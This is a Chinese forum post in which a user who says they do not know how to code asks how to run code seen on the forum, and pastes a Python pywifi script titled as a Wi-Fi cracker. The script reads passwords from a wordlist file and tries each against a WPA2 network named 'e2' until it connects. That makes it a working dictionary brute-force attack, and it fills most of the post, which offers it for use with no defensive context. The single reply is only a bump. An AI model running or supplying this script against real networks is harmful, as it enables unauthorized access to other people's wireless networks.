猫史档案馆


学代码的看过来

用户:猫站YYDS猫站YYDS查看:2 回复:1 评论:2 创建时间:2022-12-05T15:53:54


我有一个问题,就是我看到论坛里有写代码的,我想试试效果,但我又不懂代码,直接复制粘贴好像不管用,到底该怎么办。【狗头保命,本人没有学过代码】

# coding:utf-8
import time  #时间
import pywifi  #破解wifi
from pywifi import const  #引用一些定义
from asyncio.tasks import sleep
class PoJie():
    def __init__(self,path):
        self.file=open(path,"r",errors="ignore")
        wifi = pywifi.PyWiFi() #抓取网卡接口
        self.iface = wifi.interfaces()[0]#抓取第一个无限网卡
        self.iface.disconnect() #测试链接断开所有链接
    
        time.sleep(1) #休眠1秒
    
        #测试网卡是否属于断开状态,
        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def readPassWord(self):
            print("开始破解:")
            while True:
               
                try:
                    myStr =self.file.readline()
                    if not myStr:
                        break
                    bool1=self.test_connect(myStr)
                    if bool1:
                        print("密码正确:",myStr)
                        break
                    else:
                        print("密码错误:"+myStr)
                    sleep(3)
                except:
                    continue
                    
    def test_connect(self,findStr):#测试链接

        profile = pywifi.Profile()  #创建wifi链接文件
        profile.ssid ="e2" #wifi名称
        profile.auth = const.AUTH_ALG_OPEN  #网卡的开放,
        profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
        profile.cipher = const.CIPHER_TYPE_CCMP    #加密单元
        profile.key = findStr #密码
    
        self.iface.remove_all_network_profiles() #删除所有的wifi文件
        喵p_profile = self.iface.add_network_profile(profile)#设定新的链接文件
        self.iface.connect(喵p_profile)#链接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  #判断是否连接上
            isOK=True   
        else:
            isOK=False
        self.iface.disconnect() #断开
        time.sleep(1)
        #检查断开状态
        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    
        return isOK
    

    def __del__(self):
        self.file.close()
        
path=r"C:\Users\Administrator\Desktop\csdnwifi.txt"
start=PoJie(path)
start.readPassWord()


回复

上一页1 页 / 共 1下一页
无敌版滑稽战神无敌版滑稽战神

我虽然不会,但是我可以顶帖(((

点赞1


评论